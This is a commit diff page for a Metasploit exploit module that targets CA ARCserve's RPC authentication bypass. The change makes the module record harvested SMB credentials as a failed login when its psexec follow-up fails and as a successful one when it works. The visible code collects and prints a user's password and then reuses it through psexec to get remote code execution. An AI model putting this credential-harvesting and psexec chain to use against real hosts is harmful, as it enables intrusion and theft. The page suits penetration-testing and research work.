Skip to content

Commit 357a392

Browse files
committed
Trying to report more accurate status
1 parent 7e91121 commit 357a392

File tree

1 file changed

+21
-10
lines changed

1 file changed

+21
-10
lines changed

modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb

Lines changed: 21 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -78,7 +78,7 @@ def report_cred(opts)
7878

7979
login_data = {
8080
core: create_credential(credential_data),
81-
status: Metasploit::Model::Login::Status::SUCCESSFUL,
81+
status: opts[:status]
8282
}.merge(service_data)
8383

8484
create_credential_login(login_data)
@@ -145,15 +145,6 @@ def exploit
145145

146146
print_good("Collected credentials User: '#{user}' Password: '#{pass}'")
147147

148-
# report the auth
149-
report_cred(
150-
ip: datastore['RHOST'],
151-
port: 445,
152-
service_name: 'smb',
153-
user: user,
154-
password: pass
155-
)
156-
157148
# try psexec on the remote host
158149
psexec = framework.exploits.create("windows/smb/psexec")
159150
psexec.register_parent(self)
@@ -182,11 +173,31 @@ def exploit
182173
'RunAsJob' => true
183174
)
184175
rescue
176+
report_cred(
177+
ip: datastore['RHOST'],
178+
port: 445,
179+
service_name: 'smb',
180+
user: user,
181+
password: pass,
182+
status: Metasploit::Model::Login::Status::INCORRECT
183+
)
184+
185185
print_status("Login attempt using windows/smb/psexec failed")
186186
print_status("Credentials have been stored and may be useful for authentication against other services.")
187+
# report the auth
187188
return
188189
end
189190

191+
# report the auth
192+
report_cred(
193+
ip: datastore['RHOST'],
194+
port: 445,
195+
service_name: 'smb',
196+
user: user,
197+
password: pass,
198+
status: Metasploit::Model::Login::Status::SUCCESSFUL
199+
)
200+
190201
handler
191202
end
192203
end

0 commit comments

Comments
 (0)